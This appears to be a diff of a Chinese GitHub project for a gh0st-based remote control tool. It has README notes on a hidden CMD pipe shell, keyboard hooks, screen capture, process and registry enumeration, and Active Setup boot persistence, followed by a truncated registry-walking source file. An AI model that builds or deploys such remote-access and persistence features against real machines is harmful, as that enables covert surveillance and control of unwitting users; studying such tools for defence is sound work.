DWORD dwYSize;
|
||||
DWORD dwXCountChars;
|
||||
DWORD dwYCountChars;
|
||||
DWORD dwFillAttribute;
|
||||
DWORD dwFlags;
|
||||
WORD wShowWindow;
|
||||
WORD cbReserved2;
|
||||
LPBYTE lpReserved2;
|
||||
HANDLE hStdInput; // *
|
||||
HANDLE hStdOutput; // *
|
||||
HANDLE hStdError; // *
|
||||
} STARTUPINFOA, *LPSTARTUPINFOA;
|
||||
|
||||
typedef struct _PROCESS_INFORMATION {
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
DWORD dwProcessId;
|
||||
DWORD dwThreadId;
|
||||
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
|
||||
```
|
||||
创建进程时fInheritHandles字段我们需要设置为true,继承父进程句柄
|
||||
LPSTARTUPINFOW psiStartInfo 结构体中进行如下设置
|
||||
si.wShowWindow = SW_HIDE; //隐藏CMD进程窗口
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; //使用标准输出和标准错误输出句柄 | 控制CMD窗口隐藏
|
||||
si.hStdInput = m_hReadPipeShell; // 将管道赋值 设置标准输入句柄
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell; // 将管道赋值 设置标准输出、标准错误句柄
|
||||
|
||||
然后通过PeekNamedPipe查询是否有新的数据,以及ReadFile进行读取管道中的内容进行读操作,WriteFile进行写入管道内容进行操作。
|
||||
一般是使用while循环配套ReadFile函数。如果控制台程序暂时没有输出并且没有退出,ReadFile函数将一直等待,导致死循环。所以在使用ReadFile之前,加入PeekNamedPipe函数调用。
|
||||
|
||||
|
||||
|
||||
#### 2 进程监控
|
||||
|
||||
###### 进行进程枚举有很多方法
|
||||
|
||||
A:CreateToolhelp32Snapshot()、Process32First()和Process32Next()
|
||||
B:EnumProcesses()、EnumProcessModules()、GetModuleBaseName()
|
||||
C:Native Api的ZwQuerySystemInformation
|
||||
D:wtsapi32.dll的WTSOpenServer()、WTSEnumerateProcess()
|
||||
|
||||
gh0st使用的最常见的方法A,通过建立进程快照进行遍历进程获取信息
|
||||
```c
|
||||
HANDLE
|
||||
WINAPI
|
||||
CreateToolhelp32Snapshot(
|
||||
DWORD dwFlags, // 用来指定快照中需要返回的对象
|
||||
DWORD th32ProcessID // 一个进程ID号,为0可获取所有或当前快照
|
||||
);
|
||||
```
|
||||
通过函数CreateToolhelp32Snapshot获取的快照句柄使用Process32First、Process32Next遍历所有进程的PROCESSENTRY32信息
|
||||
再通过GetProcessFullPath获取进程路径等信息。
|
||||
|
||||
###### 下面的方法可以获取进程内存列表、模块等信息,不过没有加入到项目中:
|
||||
|
||||
###### 获取进程模块信息使用到的API:
|
||||
|
||||
```c
|
||||
HANDLE WINAPI OpenProcess(
|
||||
__in DWORD dwDesiredAccess, // 打开的标识
|
||||
__in BOOL bInheritHandle, // 是否继承句柄
|
||||
__in DWORD dwProcessId // 被打开的进程句柄
|
||||
);
|
||||
//枚举进程里的模块
|
||||
BOOL WINAPI EnumProcessModules(
|
||||
__in HANDLE hProcess, // 进程句柄
|
||||
__out HMODULE* lphModule, // 返回进程里的模块
|
||||
__in DWORD cb, // 模块的个数
|
||||
__out LPDWORD lpcbNeeded // 存储的模块的空间大小
|
||||
);
|
||||
//得到模块的名字
|
||||
DWORD WINAPI GetModuleFileNameEx(
|
||||
__in HANDLE hProcess, // 进程的句柄
|
||||
__in HMODULE hModule, // 模块的句柄
|
||||
__out LPTSTR lpFilename, // 返回模块的名字
|
||||
__in DWORD nSize // 缓冲区大小
|
||||
);
|
||||
```
|
||||
|
||||
###### 获取进程所有内存信息:
|
||||
|
||||
```c
|
||||
//枚举指定进程所有内存块
|
||||
//assert(hProcess != nullptr);
|
||||
//参数:
|
||||
// hProcess: 要枚举的进程,需拥有PROCESS_QUERY_INFORMATION权限
|
||||
// memories: 返回枚举到的内存块数组
|
||||
//返回:
|
||||
// 成功返回true,失败返回false.
|
||||
static bool EnumAllMemoryBlocks(HANDLE hProcess, OUT vector<MEMORY_BASIC_INFORMATION>& memories) {
|
||||
// 如果 hProcess 为空则结束运行
|
||||
assert(hProcess != nullptr);
|
||||
|
||||
// 初始化 vector 容量
|
||||
memories.clear();
|
||||
memories.reserve(200);
|
||||
|
||||
// 获取 PageSize 和地址粒度
|
||||
SYSTEM_INFO sysInfo = { 0 };
|
||||
GetSystemInfo(&sysInfo);
|
||||
/*
|
||||
typedef struct _SYSTEM_INFO {
|
||||
union {
|
||||
DWORD dwOemId; // 兼容性保留
|
||||
struct {
|
||||
WORD wProcessorArchitecture; // 操作系统处理器体系结构
|
||||
WORD wReserved; // 保留
|
||||
} DUMMYSTRUCTNAME;
|
||||
} DUMMYUNIONNAME;
|
||||
DWORD dwPageSize; // 页面大小和页面保护和承诺的粒度
|
||||
LPVOID lpMinimumApplicationAddress; // 指向应用程序和dll可访问的最低内存地址的指针
|
||||
LPVOID lpMaximumApplicationAddress; // 指向应用程序和dll可访问的最高内存地址的指针
|
||||
DWORD_PTR dwActiveProcessorMask; // 处理器掩码
|
||||
DWORD dwNumberOfProcessors; // 当前组中逻辑处理器的数量
|
||||
DWORD dwProcessorType; // 处理器类型,兼容性保留
|
||||
DWORD dwAllocationGranularity; // 虚拟内存的起始地址的粒度
|
||||
WORD wProcessorLevel; // 处理器级别
|
||||
WORD wProcessorRevision; // 处理器修订
|
||||
} SYSTEM_INFO, *LPSYSTEM_INFO;
|
||||
*/
|
||||
|
||||
//遍历内存
|
||||
const char* p = (const char*)sysInfo.lpMinimumApplicationAddress;
|
||||
MEMORY_BASIC_INFORMATION memInfo = { 0 };
|
||||
while (p < sysInfo.lpMaximumApplicationAddress) {
|
||||
// 获取进程虚拟内存块缓冲区字节数
|
||||
size_t size = VirtualQueryEx(
|
||||
hProcess, // 进程句柄
|
||||
p, // 要查询内存块的基地址指针
|
||||
&memInfo, // 接收内存块信息的 MEMORY_BASIC_INFORMATION 对象
|
||||
sizeof(MEMORY_BASIC_INFORMATION32) // 缓冲区大小
|
||||
);
|
||||
if (size != sizeof(MEMORY_BASIC_INFORMATION32)) { break; }
|
||||
|
||||
// 内存块属性memInfo保存一些内存块信息可以从这里判断获取
|
||||
if (memInfo.Protect == PAGE_EXECUTE_READWRITE)
|
||||
if (memInfo.State == MEM_COMMIT)
|
||||
if (memInfo.Type == MEM_PRIVATE)
|
||||
memories.push_back(memInfo); // 将内存块信息追加到 vector 数组尾部
|
||||
|
||||
// 移动指针
|
||||
p += memInfo.RegionSize;
|
||||
}
|
||||
|
||||
return memories.size() > 0;
|
||||
}
|
||||
```
|
||||
|
||||
#### 3 注册表监控
|
||||
通过RegOpenKeyEx打卡一个注册表项得要打开项的句柄PHKEY phkResult 利用这个句柄来获取子项和信息
|
||||
```c
|
||||
LONG WINAPI RegOpenKeyEx(
|
||||
_In_ HKEY hKey, // 需要打开的主键的名称
|
||||
_In_opt_ LPCSTR lpSubKey, // 需要打开的子键的名称
|
||||
_In_opt_ DWORD ulOptions, // 保留 设为零
|
||||
_In_ REGSAM samDesired, // 安全访问标记 也就是权限
|
||||
_Out_ PHKEY phkResult // 得到的将要打开键的句柄
|
||||
);
|
||||
```
|
||||
|
||||
得到PHKEY句柄后使用API RegQueryInfoKey获取该项信息
|
||||
```c
|
||||
LONG WINAPI RegQueryInfoKey( // 获取某项有关的信息
|
||||
_in HKEY hKey, // 已打开项的句柄 或指定一个标准项名
|
||||
_out LPTSTR lpClass, // 指定一个字串 用于装载这个注册表项的类名
|
||||
_in_out LPDWORD lpcClass, // 指定一个变量 用于装载lpClass缓冲区的长度。一旦返回 它会设为实际装载到缓冲区的字节数量
|
||||
LPDWORD lpReserved, // 未用 设为零
|
||||
_out LPDWORD lpcSubKeys, // 用于装载(保存)这个项的子项数量的一个变量
|
||||
_out LPDWORD lpcMaxSubKeyLen, // 指定一个变量 用于装载这个项最长一个子项的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcMaxClassLen, // 指定一个变量 用于装载这个项之子项的最长一个类名的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcValues, // 用于装载这个项的设置值数量的一个变量
|
||||
_out LPDWORD lpcMaxValueNameLen, // 指定一个变量 用于装载这个项之子项的最长一个值名的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcMaxValueLen, // 指定一个变量 用于装载容下这个项最长一个值数据所需的缓冲区长度
|
||||
_out LPDWORD lpcbSecurityDescriptor, // 装载值安全描述符长度的一个变量
|
||||
_out PFILETIME lpftLastWriteTime // 指定一个结构 用于容纳该项的上一次修改时间
|
||||
);
|
||||
```
|
||||
|
||||
通过RegQueryInfoKey获取到lpcSubKeys子项数量同于RegEnumKeyEx的DWORD dwIndex,参数进行循环遍历得到索引项名LPTSTR lpName
|
||||
```c
|
||||
LONG WINAPI RegEnumKeyEx( // 枚举指定项下方的子项
|
||||
_in HKEY hKey, // 一个已打开项的句柄,或者指定一个标准项名
|
||||
_in DWORD dwIndex, // 欲获取的子项的索引。第一个子项的索引编号为零
|
||||
_out LPTSTR lpName, // 用于装载指定索引处项名的一个缓冲区
|
||||
_in_out LPDWORD lpcName, // 指定一个变量,用于装载lpName缓冲区的实际长度,含空字符。一旦返回,它会设为实际装载到lpName缓冲区的字符数量
|
||||
LPDWORD lpReserved, // 未用,设为零
|
||||
_in_out LPTSTR lpClass, // 项使用的类名
|
||||
_in_out LPDWORD lpcClass, // 用于装载lpClass缓冲区长度的一个变量。
|
||||
_out PFILETIME lpftLastWriteTime // 枚举子项上一次修改的时间
|
||||
);
|
||||
```
|
||||
|
||||
使用API RegEnumValue 获取键值内容 以及获取lpType判断类型、lpData获取内容
|
||||
```c
|
||||
LONG WINAPI RegEnumValue( // 读取键值
|
||||
_In_ HKEY hKey, // 一个已打开项的句柄,或者指定一个标准项名
|
||||
_In_ DWORD dwIndex, // 欲获取值的索引。注意第一个值的索引编号为零
|
||||
_Out_writes_to_opt_(*lpcchValueName,*lpcchValueName + 1) LPSTR lpValueName, // 用于装载位于指定索引处值名的一个缓冲区
|
||||
_Inout_ LPDWORD lpcchValueName, // 用于装载lpValueName缓冲区长度的一个变量。一旦返回,它会设为实际载入缓冲区的字符数量
|
||||
_Reserved_ LPDWORD lpReserved, // 未用 设为零
|
||||
_Out_opt_ LPDWORD lpType, // 用于装载值的类型代码的变量
|
||||
_Out_writes_bytes_to_opt_(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData, // 用于装载值数据的一个缓冲区
|
||||
_Inout_opt_ LPDWORD lpcbData // 用于装载lpData缓冲区长度的一个变量。一旦返回,它会设为实际载入缓冲区的字符数量
|
||||
);
|
||||
```
|
||||
|
||||
#### 4 服务监控
|
||||
|
||||
建立一个连接到服务控制管理器,并打开指定的数据库
|
||||
```c
|
||||
SC_HANDLE WINAPI OpenSCManager(
|
||||
__in LPCTSTR lpMachineName, // 指向零终止字符串 名为目标计算机
|
||||
__in LPCTSTR lpDatabaseName, // 指向零终止字符串 名称的服务控制管理数据库
|
||||
__in DWORD dwDesiredAccess // 指定服务的访问控制管理
|
||||
);
|
||||
```
|
||||
|
||||
由OpenSCManager返回的句柄做参数使用API EnumServicesStatus枚举系统当前服务信息
|
||||
```c
|
||||
BOOL WINAPI EnumServicesStatus( // 枚举当前系统服务
|
||||
_in SC_HANDLE hSCManager, // 打开的服务管理的句柄
|
||||
_in DWORD dwServiceType, // 所要枚举服务的类型
|
||||
_in DWORD dwServiceState, // 所要枚举服务的状态
|
||||
_out LPENUM_SERVICE_STATUS lpServices, // 指向转载枚举服务的缓冲区
|
||||
_in DWORD cbBufSize, // 缓冲区大小
|
||||
_out LPDWORD pcbBytesNeeded, // 如果提供的缓冲区太小 那么这里将返回需要的缓冲区大小
|
||||
_out LPDWORD lpServicesReturned, // 服务的个数 枚举每个服务信息时用到
|
||||
_in_out LPDWORD lpResumeHandle // 返回枚举是否成功
|
||||
);
|
||||
```
|
||||
|
||||
通过api EnumServicesStatus得到的lpServicesReturned数量、lpServices缓冲区遍历服务,OpenService获取服务句柄
|
||||
```c
|
||||
SC_HANDLE OpenService( // 获取服务句柄
|
||||
SC_HANDLE hSCManager, // 服务控制管理器数据库的句柄
|
||||
LPCSTR lpServiceName, // 要打开的服务的名称
|
||||
DWORD dwDesiredAccess // 访问服务权限
|
||||
);
|
||||
```
|
||||
|
||||
根据获取到的服务句柄调用API QueryServiceConfig获取服务信息
|
||||
```c
|
||||
BOOL WINAPI QueryServiceConfig(
|
||||
_in SC_HANDLE hService, // 指向要检索的服务
|
||||
_out LPQUERY_SERVICE_CONFIG lpServiceConfig, // 指向包含服务信息的缓冲区指针
|
||||
_in DWORD cbBufSize, // 缓冲区大小
|
||||
_out LPDWORD pcbBytesNeeded // 实际需要的缓冲区大小
|
||||
);
|
||||
```
|
||||
#### 5 键盘监控
|
||||
###### 键盘钩子
|
||||
|
||||
windows系统是建立在事件驱动的机制上,整个系统都是通过消息传递来实现的,而钩子是windows系统中非常重要的系统接口,用它可以截获并处理发送给其他进程的消息来实现诸多功能,钩子种类很多,每种钩子可以截取相应的消息,例如键盘钩子截取键盘消息等等。
|
||||
|
||||
全局钩子运行机制,通过系统调用,将狗子挂入系统,每当特定消息发出,在消息没有到达目标窗口之前,钩子就会先行捕获到消息。这时钩子回调函数可以对消息进行操作,然后继续传递该消息,也可结束该消息的传递。每种类型的钩子都会由系统来维护一个钩子链,并且最后安装的钩子在链子的开始,最先安装的在最后。实现win32的系统钩子,必须调用API函数SetWindowsHookEx来安装这个函数
|
||||
|
||||
###### 安装钩子
|
||||
```c
|
||||
HHOOK WINAPI SetWindowsHookEx(
|
||||
__in int idHook, \\ 钩子类型
|
||||
__in HOOKPROC lpfn, \\ 回调函数地址
|
||||
__in HINSTANCE hMod, \\ 实例句柄 (包含钩子函数的模块句柄)
|
||||
__in DWORD dwThreadId); \\ 线程ID (指定监视的线程,如果指定确定的线程,即为线程专用钩子;如果指定为空,即为全局钩子。)
|
||||
```
|
||||
几点需要说明的地方:
|
||||
|
||||
(1) 如果对于同一事件(如键盘消息)既安装了线程钩子又安装了系统钩子,系统会优先调用线程钩子,然后调用系统钩子。
|
||||
|
||||
(2) 对同一事件消息可安装多个钩子处理过程,这些钩子处理过程形成了钩子链。处理顺序是先安装的后处理,后安装的先处理。
|
||||
|
||||
(3) 钩子特别是系统钩子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装钩子,在使用完毕后要及时卸载。
|
||||
|
||||
###### 定义钩子回调
|
||||
|
||||
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
|
||||
|
||||
我们先在钩子函数中实现自定义的功能,然后调用函数 CallNextHookEx 把钩子信息传递给钩子链的下一个钩子函数。
|
||||
|
||||
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )
|
||||
|
||||
参数 hhk是钩子句柄。nCode、wParam和lParam 是钩子函数。
|
||||
当然也可以通过直接返回TRUE来丢弃该消息,就阻止了该消息的传递。
|
||||
|
||||
当不再使用钩子时,必须及时卸载。简单地调用下面的函数即可。
|
||||
|
||||
BOOL UnhookWindowsHookEx( HHOOK hhk)
|
||||
|
||||
值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。
|
||||
线程钩子一般在当前线程或者当前线程派生的线程内,而系统钩子必须放在独立的动态链接库中。
|
||||
|
||||
#### 6 窗口监控
|
||||
|
||||
EnumWindows可以遍历当前屏幕上所有的父窗口创建lpEnumFunc回调函数遍历每一个顶层窗口
|
||||
```c
|
||||
BOOL EnumWindows( // 枚举桌面上的所有窗口
|
||||
_In_ WNDENUMPROC lpEnumFunc, // 回调函数,自己定义 当枚举到窗口时系统就会调用这个函数
|
||||
_In_ LPARAM lParam // 向回调函数传递的一个参数
|
||||
);
|
||||
```
|
||||
|
||||
回调函数的返回值必须为TRUE才能保证系统会依次遍历每一个窗口。如果返回值非TRUE,则在当前窗口后不会进行后续的遍历动作。
|
||||
```c
|
||||
BOOL CALLBACK EnumWindowsProc( // 回调函数的定义
|
||||
_In_ HWND hwnd, // 系统传递进来的窗口句柄
|
||||
_In_ LPARAM lParam // 传递进来的那个参数
|
||||
);
|
||||
```
|
||||
GetWindowText、GetWindowThreadProcessId可以通过遍历到的HWND得到对应window的Title、PID
|
||||
|
||||
不过这里有个问题,在我自己写的demo调用dll枚举窗口时,遍历获取信息没有发生问题,当使用rundll32调用导出出现了问题
|
||||
在某一个窗口句柄调用GetWindowText时,出现阻塞,无法返回。
|
||||
经过调试分析发现:
|
||||
|
||||
调用GetWindowText的进程 == 目标窗口所属于的进程 && 调用GetWindowText的线程 != 目标窗口所属于的线程
|
||||
|
||||
此时 GetWindowText将发送WM_GETTEXT消息至目标窗口所在的线程,线程响应此消息,返回窗口标题。如果目标窗口所在的线程刚好此时无法响应消息,则会导致GetWindowText一直处于阻塞状态,直到目标窗口所在进程响应了消息,才会得到返回。就会出现没有反应或卡死的情况。
|
||||
解决方案就是调用GetWindowText时判断目标窗口所在进程和线程ID,使用InternalGetWindowText替换GetWindowText
|
||||
|
||||
当目标窗口所在进程ID == 调用者所在进程ID && 目标进程所在线程ID != 调用者所在线程ID时->InternalGetWindowText替换GetWindowText
|
||||
|
||||
#### 7 桌面监控
|
||||
|
||||
```c
|
||||
HDC CreateDC( // 得到指定设备名的设备描述表
|
||||
LPCTSTR lpszDriver, // driver name // 设备名
|
||||
LPCTSTR lpszDevice, // device name // 特殊设备名
|
||||
LPCTSTR lpszOutput, // not used; should be NULL // 通常设置为NULL
|
||||
CONST DEVMODE* lpInitData // optional printer data // 驱动程序的初始化DEVMODE结构指针
|
||||
);
|
||||
|
||||
HDC CreateCompatibleDC( // 为设备描述表创建兼容的内存设备描述表
|
||||
HDC hdc // handle to DC // 设备句柄
|
||||
);
|
||||
|
||||
int GetDeviceCaps( // 得到指定设备的信息
|
||||
HDC hdc, // handle to DC // 设备句柄
|
||||
int nIndex // index of capability // 指定要得到那个方面的信息
|
||||
);
|
||||
|
||||
HBITMAP CreateCompatibleBitmap( // 创建一个与设备描述表兼容的位图
|
||||
HDC hdc, // handle to DC // 设备描述表
|
||||
int nWidth, // width of bitmap, in pixels // 位图的宽度
|
||||
int nHeight // height of bitmap, in pixels // 位图的高度
|
||||
);
|
||||
|
||||
HGDIOBJ SelectObject( // 把对象选到内存设备描述表中
|
||||
HDC hdc, // handle to DC // 设备描述表
|
||||
HGDIOBJ hgdiobj // handle to object // 要加入的对象
|
||||
);
|
||||
|
||||
BOOL BitBlt( // 对指定的原设备环境区域中的像素进行位块转换 抓图
|
||||
HDC hdcDest, // handle to destination DC // 设备对象
|
||||
int nXDest, // x-coord of destination upper-left corner // 目标矩型区域的左上角x坐标
|
||||
int nYDest, // y-coord of destination upper-left corner // 目标矩形区域的左上角y坐标
|
||||
int nWidth, // width of destination rectangle // 目标巨型区域的逻辑宽度
|
||||
int nHeight, // height of destination rectangle // 目标巨型区域的逻辑高度
|
||||
HDC hdcSrc, // handle to source DC // 源设备句柄
|
||||
int nXSrc, // x-coordinate of source upper-left corner // 源矩型区域的左上角x坐标
|
||||
int nYSrc, // y-coordinate of source upper-left corner // 源矩型区域的左上角y坐标
|
||||
DWORD dwRop // raster operation code // 光栅操作代码
|
||||
);
|
||||
|
||||
// 为屏幕创建设备描述表
|
||||
hscrdc = CreateDC("display", NULL, NULL, NULL);
|
||||
|
||||
// 为屏幕设备描述表创建兼容的内存设备描述表
|
||||
hmemdc = CreateCompatibleDC(hscrdc);
|
||||
|
||||
// 获得屏幕分辨率
|
||||
xscrn = GetDeviceCaps(hscrdc, HORZRES);
|
||||
yscrn = GetDeviceCaps(hscrdc, VERTRES);
|
||||
|
||||
// 创建一个与屏幕设备描述表兼容的位图
|
||||
hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);
|
||||
|
||||
// 把新位图选到内存设备描述表中
|
||||
holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);
|
||||
|
||||
// 把屏幕设备描述表拷贝到内存设备描述表中
|
||||
BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);
|
||||
|
||||
// 得到屏幕位图的句柄
|
||||
hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);
|
||||
|
||||
```
|
||||
|
||||
#### active启动方式
|
||||
win7 64下
|
||||
|
||||
64位程序注册表位置 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components
|
||||
32位重定位注册表位置 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
|
||||
|
||||
例如{052860C8-3E53-3D0B-9332-48A8B4971352}
|
||||
|
||||
Active Setup是微软使用此键来安装windows组件,可以在这个位置下看到已安装组件得列表,每个组件都有一个值,windows使用这些值来识别组件。其中StubPath是其中最重要的一项,它包含一个命令,windows每次启动都会执行这个命令。
|
||||
|
||||
创建一个(在64位位置,需要根据启动程序而定){052860C8-3E53-3D0B-9332-48A8B4971352} StubPath 项为REG_EXPAND_SZ类型 calc.exe
|
||||
|
||||
1 重启计算机后,calc便会启动,但是启动后,程序执行会造成电脑卡住,无法进入系统,必须要退出程序才能执行。
|
||||
2 并且再次启动calc不会再启动了这是因为在user同位置的active setup下有相同的guid,将其删除再次重启就会启动了。
|
||||
|
||||
所以每次执行要将user位置guid删除,并且程序通过再次启动自己或者注入到其他进程来解决上面的两个问题。
|
||||
|
||||
|
||||
|
||||
|
||||
<img align="right" src="https://github.com/Cc28256/CcRemote/blob/master/readme/help.png"/>
|
||||
|
||||
|
||||
## 喜欢的话点个Star哦
|
||||
|
||||
##### 这个项目花了2个月的时间来进行源码阅读和编译
|
||||
|
||||
##### 如果存在bug可以留言给我,我将尝试着将它修复
|
||||
|
||||
##### 免杀过程将不会在这记录,我不会去免杀该项目
|
||||
|
||||
##### 项目仅供技术探讨,请勿用于非法用途
|
||||
|
||||
|
||||
### -------------Thank You-------------
|
Binary file not shown.
Binary file not shown.
@@ -1,31 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.28307.1022
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "StartDemo", "StartDemo\StartDemo.vcxproj", "{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x64.Build.0 = Debug|x64
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x86.Build.0 = Debug|Win32
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x64.ActiveCfg = Release|x64
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x64.Build.0 = Release|x64
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x86.ActiveCfg = Release|Win32
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {8DF98FBA-5DA4-49FA-9BC6-EFDD98E2CE5C}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
@@ -1,230 +0,0 @@
|
||||
#include "CRegOperate.h"
|
||||
|
||||
|
||||
|
||||
CRegOperate::CRegOperate(HKEY beginKey, TCHAR* path)
|
||||
{
|
||||
|
||||
dwType = REG_BINARY | REG_DWORD | REG_EXPAND_SZ | REG_MULTI_SZ | REG_NONE | REG_SZ;
|
||||
|
||||
|
||||
//Begin to get HKEY of path.
|
||||
Query(beginKey, path);
|
||||
|
||||
//test if queue is empty<74><79><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
while (!keystack.empty())
|
||||
{
|
||||
|
||||
string newPath = keystack.front();
|
||||
|
||||
keystack.pop();
|
||||
|
||||
Query(beginKey, newPath.c_str());
|
||||
|
||||
}
|
||||
|
||||
//Release.
|
||||
RegCloseKey(beginKey);
|
||||
}
|
||||
|
||||
|
||||
CRegOperate::~CRegOperate()
|
||||
{
|
||||
vecKeyData.clear();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
void CRegOperate::Query(HKEY rootKey, const char* path)
|
||||
|
||||
{
|
||||
vecKeyData.clear();
|
||||
vecKeyData.reserve(200);
|
||||
|
||||
#ifdef COMMAND_OUTPUT
|
||||
|
||||
_tprintf(TEXT("\nProcess: %s :\n"), path);
|
||||
|
||||
#endif
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyEx(rootKey, path, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
RegCloseKey(hKey);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
TCHAR achKey[MAX_KEY_LENGTH]; // buffer for subkey name
|
||||
DWORD cbName; // size of name string
|
||||
TCHAR achClass[MAX_PATH] = TEXT(""); // buffer for class name
|
||||
DWORD cchClassName = MAX_PATH; // size of class string
|
||||
DWORD cSubKeys = 0; // number of subkeys
|
||||
DWORD cbMaxSubKey; // longest subkey size
|
||||
DWORD cchMaxClass; // longest class string
|
||||
DWORD cValues; // number of values for key
|
||||
DWORD cchMaxValue; // longest value name
|
||||
DWORD cbMaxValueData; // longest value data
|
||||
DWORD cbSecurityDescriptor; // size of security descriptor
|
||||
FILETIME ftLastWriteTime; // last write time
|
||||
|
||||
DWORD i, retCode;
|
||||
|
||||
|
||||
TCHAR achValue[MAX_VALUE_NAME];
|
||||
DWORD cchValue = MAX_VALUE_NAME;
|
||||
|
||||
|
||||
// Get the class name and the value count.
|
||||
|
||||
retCode = RegQueryInfoKey(
|
||||
hKey, // key handle
|
||||
achClass, // buffer for class name
|
||||
&cchClassName, // size of class string
|
||||
NULL, // reserved
|
||||
&cSubKeys, // number of subkeys
|
||||
&cbMaxSubKey, // longest subkey size
|
||||
&cchMaxClass, // longest class string
|
||||
&cValues, // number of values for this key
|
||||
&cchMaxValue, // longest value name
|
||||
&cbMaxValueData, // longest value data
|
||||
&cbSecurityDescriptor, // security descriptor
|
||||
&ftLastWriteTime); // last write time
|
||||
|
||||
|
||||
|
||||
// Enumerate the subkeys, until RegEnumKeyEx fails.
|
||||
|
||||
if (cSubKeys)
|
||||
{
|
||||
|
||||
#ifdef COMMAND_OUTPUT
|
||||
|
||||
printf("Number of subkeys: %d\n", cSubKeys);
|
||||
|
||||
#endif
|
||||
|
||||
for (i = 0; i < cSubKeys; i++)
|
||||
{
|
||||
cbName = MAX_KEY_LENGTH;
|
||||
|
||||
retCode = RegEnumKeyEx(hKey, i,
|
||||
achKey,
|
||||
&cbName,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&ftLastWriteTime);
|
||||
|
||||
if (retCode == ERROR_SUCCESS)
|
||||
{
|
||||
|
||||
#ifdef COMMAND_OUTPUT
|
||||
|
||||
_tprintf(TEXT("(%d) %s\n"), i + 1, achKey);
|
||||
|
||||
#endif
|
||||
|
||||
//use achKey to build new path and input it into stack.
|
||||
|
||||
std::string newPath = "";
|
||||
|
||||
newPath.append(path);
|
||||
newPath.append("\\");
|
||||
newPath.append(achKey);
|
||||
keystack.push(newPath);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Enumerate the key values.
|
||||
|
||||
if (cValues)
|
||||
{
|
||||
#ifdef COMMAND_OUTPUT
|
||||
|
||||
printf("Number of values: %d\n", cValues);
|
||||
|
||||
#endif
|
||||
|
||||
for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
|
||||
{
|
||||
cchValue = MAX_VALUE_NAME;
|
||||
|
||||
achValue[0] = '\0';
|
||||
|
||||
unsigned char vari[70];
|
||||
|
||||
retCode = RegEnumValue(hKey, i,
|
||||
achValue,
|
||||
&cchValue,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
|
||||
if (retCode == ERROR_SUCCESS)
|
||||
|
||||
{
|
||||
std::string filePath = "";
|
||||
std::string filePath2 = "";
|
||||
TCHAR szBuffer[255] = { 0 };
|
||||
DWORD dwNameLen = 255;
|
||||
DWORD rQ = RegQueryValueEx(hKey, achValue, 0, &dwType, (LPBYTE)szBuffer, &dwNameLen);
|
||||
|
||||
if (rQ == ERROR_SUCCESS)
|
||||
{
|
||||
filePath.append(szBuffer);
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ļ<EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>vector<6F><72>
|
||||
vecKeyData.push_back(filePath);
|
||||
|
||||
|
||||
char* filePathData;
|
||||
filePathData = (char*)(filePath.c_str());
|
||||
if (filePathData[0] == 0x22)
|
||||
{
|
||||
filePathData += 1;
|
||||
